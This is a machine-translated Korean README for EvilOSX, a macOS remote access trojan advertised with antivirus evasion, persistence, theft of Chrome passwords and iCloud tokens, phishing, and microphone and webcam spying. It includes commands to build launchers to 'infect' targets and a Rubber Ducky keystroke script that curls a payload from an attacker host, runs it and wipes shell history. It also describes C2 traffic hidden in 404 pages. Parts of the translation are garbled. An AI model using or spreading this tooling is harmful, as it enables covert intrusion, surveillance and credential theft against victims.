EvilOSX

evilosx

MacOS / OS X의 사악한 쥐 (원격 투여 도구).

---

Cedric Owens의 Marco Generator

이 프로젝트는 더 이상 활성화되지 않습니다

특징

• 터미널 인스턴스를 모방합니다
• 간단한 확장 가능한 모듈 시스템
• 봇 의존성 없음 (순수한 파이썬)
• 안티 바이러스에 의해 감지되지 않음 (OpenSSL AES-256 암호화 된 페이로드)
• 지속성 있는
• GUI 및 CLI 지원
• 크롬 암호를 검색합니다
• iCloud 토큰 및 연락처를 검색하십시오
• 클립 보드를 검색/모니터링합니다
• 브라우저 기록 검색 (크롬 및 사파리)
• iTunes를 통한 iCloud 암호 용 Phish
• iTunes (iOS) 백업 열거
• 마이크를 기록하십시오
• 웹캠을 사용하여 데스크탑 스크린 샷이나 사진을 찍습니다
• 지역 특권 에스컬레이션을 통해 뿌리를 내려고 시도합니다

사용 방법

 # Clone or download this repository
$ git clone https://github.com/Marten4n6/EvilOSX

# Go into the repository
$ cd EvilOSX

# Install dependencies required by the server
$ sudo pip install -r requirements.txt

# Start the GUI
$ python start.py

# Lastly, run a built launcher on your target(s)

경고 : 페이로드는 대상 시스템에 고유 한 것으로 생성되므로 (서버에 의해 자동으로) 봇이 처음 연결할 때 서버를 실행해야합니다.

고급 사용자

SSH를 통해 이것을 사용하려는 사람들을위한 CLI도 있습니다.

 # Create a launcher to infect your target(s)
$ python start.py --builder

# Start the CLI
$ python start.py --cli --port 1337

# Lastly, run a built launcher on your target(s) 

스크린 샷

동기 부여

이 프로젝트는 내 고무 Ducky와 함께 사용되도록 만들어졌습니다. 간단한 스크립트는 다음과 같습니다.

 REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM See also: https://ducktoolkit.com/vidpid/

DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500

REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER

STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER

• 잠금 해제 된 Mac의 백도어에 약 10 초가 걸립니다 .
• Termina L은 의도적으로 그런 식으로 철자가 있습니다. 일부 시스템에서 스포트라이트는 터미널을 찾을 수 없습니다.
  
• 키보드 설정 어시스턴트를 우회하려면 여기에서 찾을 수있는 VID & PID를 변경하십시오.
  알루미늄 키보드 (ISO)는 아마도 당신이 찾고있는 것일 것입니다.

버전 작성

EvilOSX는 가능한 한 의미 론적 버전 관리 지침에 따라 유지됩니다.
서버 및 봇 릴리스는 다음 형식으로 번호가 매겨집니다.

 <major>.<minor>.<patch>

다음 가이드 라인으로 구성되었습니다.

• 후진 호환성 (오래된 봇 포함)이 전공이 부딪칩니다
• 뒤로 호환성을 깨지 않고 새로운 추가 기능은 미성년자를 충돌시킵니다
• 버그 수정 및 기타 변화가 패치를 책임 다가합니다

Semver에 대한 자세한 내용은 https://semver.org/를 방문하십시오.

디자인 노트

• 기계 감염은 세 부분으로 나뉩니다.
  • 런처는 대상 기계에서 실행됩니다.
  • Stager는 페이로드가로드되는 방법을 처리하는 로더를 서버에 요청합니다.
  • 로더는 고유하게 암호화 된 페이로드가 주어진 다음 Stager로 다시 보냈습니다.
• 서버는 HTTP 404 오류 페이지에 숨겨진 메시지를 보내서 통신을 숨 깁니다 (Blackhat의 "Plain Sight in Plain Sight"에서)
  • 명령 요청은 GET 요청을 통해 서버에서 검색됩니다.
  • 명령 응답은 사후 요청을 통해 서버로 전송됩니다.
• 모듈은 Python의 동적 특성을 활용하며, 구성 옵션과 함께 Zlib로 압축 된 네트워크를 통해 간단히 전송됩니다.
• 봇은 서버 와만 통신하고 다른 방법으로는 통신하지 않기 때문에 서버는 봇이 오프라인으로 올 때 알 수있는 방법이 없습니다.

문제

여기에서 문제 나 기능 요청을 자유롭게 제출하십시오.

기여

모듈을 만드는 방법에 대한 간단한 가이드를 보려면 여기를 클릭하십시오.

크레딧

• 멋진 제국 프로젝트
• 그의 멋진 대화를 위해 Patrick Wardle에게 소리를 지르세요.
• 그의 프로젝트를위한 Manwhoami : Osxchromedecrypt, mmetokendecrypt, iCloudContacts
  (이제 삭제되었습니다 ... 다시 나타나면 알려주세요)
• Slowloris 모듈은 Pyslowloris에서 거의 복사되었습니다
• CLI와 많은 시간을 절약 한 Urwid 와이 코드
• Motusora가 만든 로고

특허

GPLV3